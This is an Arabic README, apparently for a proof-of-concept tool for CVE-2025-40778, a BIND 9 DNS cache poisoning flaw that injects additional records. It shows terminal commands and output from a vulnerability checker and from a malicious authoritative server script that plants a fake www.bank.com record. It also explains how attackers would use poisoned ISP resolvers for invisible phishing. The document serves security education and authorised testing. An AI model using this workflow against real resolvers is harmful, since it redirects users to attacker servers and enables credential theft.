
إثبات مفهوم يوضح تسميم ذاكرة التخزين المؤقت لنظام DNS عبر حقن سجلات إضافية في BIND 9، مع أدوات للتحقق من واستغلال CVE-2025-40778 لاختبارات الأمان المصرح بها.
عرض تعليمي لثغرة تسميم ذاكرة التخزين المؤقت لنظام DNS عبر حقن سجلات إضافية.
لأغراض تعليمية فقط
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني وغير أخلاقي.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
يوضح هذا الإثبات كيف يمكن لخادم DNS موثوق تم اختراقه حقن سجلات مسمومة في استجابات DNS، مما قد يعيد توجيه المستخدمين إلى خوادم ضارة دون علمهم.
متجه الهجوم:
السيناريوهات المحتملة:
👤 المؤلف والتواصل
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
تكتشف هذه الأداة ما إذا كان من الممكن استغلال الثغرة CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
الوصف: في هذه الخطوة، تقوم بتشغيل خادم DNS موثوق ضار يحاكي خادم أسماء مخترقًا. يستمع الخادم على عنوان IP ومنفذ محددين (127.0.0.2:5301)، جاهزًا لحقن سجلات DNS مسمومة في الاستجابات. عند التكوين، سيستجيب للاستعلامات المشروعة لـ www.test.local بعنوان IP الصحيح، ولكن في نفس الوقت يحقن سجلًا ضارًا لـ www.bank.com يشير إلى عنوان IP يتحكم فيه المهاجم. هذا السلوك المزدوج في الاستجابة هو جوهر هجوم تسميم ذاكرة التخزين المؤقت - سيخزن محلل DNS المعرض للخطر كلاً من الإجابة المشروعة والسجل المسموم مؤقتًا، حتى لو تم طلب نطاق واحد فقط.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
الوصف: هنا تقوم بإجراء استعلام DNS قياسي من خلال محلل DNS المحلي (BIND) للتحقق من أن البنية التحتية تعمل بشكل صحيح. يجب أن يعيد استعلام www.test.local عنوان IP المشروع (192.168.0.136) كما هو متوقع. في هذه المرحلة، يبدو الاستجابة طبيعية للمستخدم النهائي - لا يوجد مؤشر مرئي على الاختراق. ومع ذلك، خلف الكواليس، قام محلل DNS المعرض للخطر بالفعل بتخزين كلا السجلين مؤقتًا: السجل المشروع الذي طلبته والسجل المسموم لـ www.bank.com الذي تم حقنه في القسم الإضافي من الاستجابة. تؤكد هذه الخطوة أن محلل DNS الخاص بك تواصل بنجاح مع الخادم الموثوق الضار وعالج استجابته.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
الوصف: تكشف هذه الخطوة عن دليل نجاح تسميم ذاكرة التخزين المؤقت من منظور المهاجم. تُظهر سجلات خادم DNS الضار أنه استلم الاستعلام لـ www.test.local، واستجاب بالإجابة المشروعة، ونجح في حقن سجل التسميم لـ www.bank.com. يشير الترميز "RRs: A,A" إلى أنه تم إرسال سجلين من نوع A في الاستجابة - أحدهما مشروع والآخر ضار. في هذه اللحظة، تكون ذاكرة التخزين المؤقت لـ DNS الخاصة بالضحية معرضة للخطر. أي استعلامات لاحقة لـ www.bank.com من هذا المحلل ستعيد عنوان IP الخاص بالمهاجم (192.168.0.100) بدلاً من موقع البنك الحقيقي، مما يتيح هجمات تصيد شفافة حيث يرى المستخدمون عنوان URL الصحيح ولكنهم يتصلون بخادم ضار. الهجوم غير مرئي للمستخدمين النهائيين وسيستمر حتى تنتهي صلاحية ذاكرة التخزين المؤقت لـ DNS (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
ماذا يعني هذا عمليًا:
تخيل أنك مستخدم عادي تحاول الوصول إلى موقع البنك الخاص بك. تكتب بعناية www.bank.com في متصفحك - عنوان URL صحيح 100%، لا أخطاء إملائية، لا روابط مشبوهة من رسائل البريد الإلكتروني. يعرض شريط عنوان المتصفح النطاق الذي تثق به بالضبط. كل شيء يبدو شرعيًا.
ولكن إليك ما حدث بالفعل خلف الكواليس:
تم اختراق خادم DNS الخاص بشركتك من قبل مهاجم سمم ذاكرة التخزين المؤقت الخاصة به باستخدام هذه الثغرة. عندما يسأل جهاز الكمبيوتر الخاص بك "أين www.bank.com؟"، يستجيب DNS المسموم بعنوان IP الخاص بخادم المهاجم بدلاً من عنوان البنك الحقيقي.
تشريح الهجوم
ما يمكن للمهاجم سرقته:
لماذا هو خطير جدًا:
هذا الهجوم غير مرئي تمامًا للضحية. لا يوجد تحذير، لا علامات خطر، لا طريقة للمستخدم العادي لاكتشافه. حتى المحترفون الواعون أمنيًا يمكن أن يقعوا ضحية لأن الهجوم يحدث على مستوى البنية التحتية، وليس على جهاز المستخدم. يمكن لخادم DNS واحد مخترق أن يؤثر على آلاف المستخدمين في وقت واحد، مما يجعله متجه هجوم فعال للغاية لمجرمي الإنترنت الذين يستهدفون المؤسسات.
الخلاصة: تمكن CVE-2025-40778 المهاجمين من تسليح الثقة. عندما يتم اختراق البنية التحتية ذاتها التي نعتمد عليها للتنقل في الإنترنت، يصبح حتى أكثر المستخدمين حذرًا عرضة للخطر. لهذا السبب فإن فهم هذه الثغرة واختبارها والتخفيف منها أمر بالغ الأهمية للوضع الأمني لأي مؤسسة.
المتطلب الحرج: لكي ينجح هذا الهجوم، يجب أن يستخدم الضحية محلل DNS المخترق. لا يستهدف الهجوم أجهزة المستخدمين النهائيين مباشرة - بل يستهدف البنية التحتية لـ DNS التي يعتمد عليها المستخدمون للتنقل في الإنترنت.
أهداف الهجوم في العالم الحقيقي:
الهدف الأساسي للمهاجم هو اختراق محللات DNS التي تخدم قواعد مستخدمين كبيرة. تشمل الأهداف الأكثر قيمة:
لماذا هذا مهم:
تتدرج فعالية الهجوم مع قاعدة مستخدمي محلل DNS. اختراق خادم DNS واحد لمزود خدمة الإنترنت، وربما تخترق كل عميل لم يغير إعدادات DNS يدويًا. لهذا السبب فإن أمان DNS على مستوى البنية التحتية أمر بالغ الأهمية - يمكن لمحلل واحد معرض للخطر أن يخلق سطح هجوم ضخم يؤثر على آلاف أو ملايين المستخدمين الذين يثقون في أن هذه البنية التحتية آمنة.